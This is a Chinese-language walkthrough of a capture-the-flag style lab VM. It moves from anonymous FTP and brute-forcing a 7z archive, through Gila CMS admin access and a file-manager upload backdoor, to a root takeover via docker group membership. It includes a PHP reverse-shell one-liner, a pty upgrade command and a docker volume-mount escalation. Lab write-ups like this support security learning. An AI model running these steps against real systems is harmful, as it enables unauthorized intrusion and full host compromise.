修改网络连接方式为DHCP
按照虚拟机网段查找分配的IP,此处分配的IP为192.168.120.138
信息发现
按照惯例,首先把主机开放端口扫描,发现开放端口为80、22、65530。其中65530是一个ftp服务,连接发现无密码,文件夹pub下存在一个arjun.7z的压缩包。
访问80端口,就一张图片,扫描路径,发现phpmyadmin。无空密码。
爆破压缩包
到此,需要一个能登陆phpmyadmin的账号密码。尝试爆破7z压缩包。利用一个小脚本爆破。
根据脚本的建议,需要一份字典,rockyou
or crackstation
。是kali上的字典,但是手头没有kali。直接搜索下载。
https://www.scrapmaker.com/download/data/wordlists/dictionaries/rockyou.txt
爆破是贼慢,但是密码成功出来了,是family。打开是一个secret.txt文件,里面有一个类似base64加密的字符串。
字符串为以下,看起来是账号:邮箱:密码。不过遗憾的是,并不能登陆phpmyadmin。那这个字符串就可能是字段:账号:密码的形式。
Z2lsYTphZG1pbkBnbWFpbC5jb206cHJpbmNlc2E=
解码为:
gila:admin@gmail.com:princesa
利用已知漏洞
后来试一下路径,发现存在这个一个地址,gila是一个cms。
http://192.168.120.138/gila/
到官方网站,找到了官方给的demo站,后台地址是加admin。尝试是否也是admin。
http://192.168.120.138/gila/admin
登陆后,看到版本为1.10.9。基本可以确定是一个后台获取webshell的利用方式,搜索谷歌,查找一下是否有已知的漏洞。在exploit-db上找到了一个本地文件包含漏洞。尝试确实存在,而已可以上传文件。查看一下发现是content下的文件管理功能。
http://192.168.120.138/gila/admin/fm?f=./..
利用上传文件
创建新文件后门。在assert文件夹下,但是php文件不能访问,需要修改.htaccess文件。
修改为Allow from all
,即可访问上传的文件。
反弹shell获取权限
利用php反弹shell
php -r '$sock=fsockopen("192.168.30.79",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
#升级shell
python -c 'import pty; pty.spawn("/bin/bash")'
从id命令看到www-data是docker组的成员,而docker是可以免密码操作sudo的。详细参考
https://www.freebuf.com/articles/system/170783.html
借助一个docker镜像,查看本机存在一个alpine镜像
采用-v的目录映射,此处修改为/root:/root,运行进入docker内部
docker run -it --rm -v /root:/root alpine
找到root下的文件,打开即可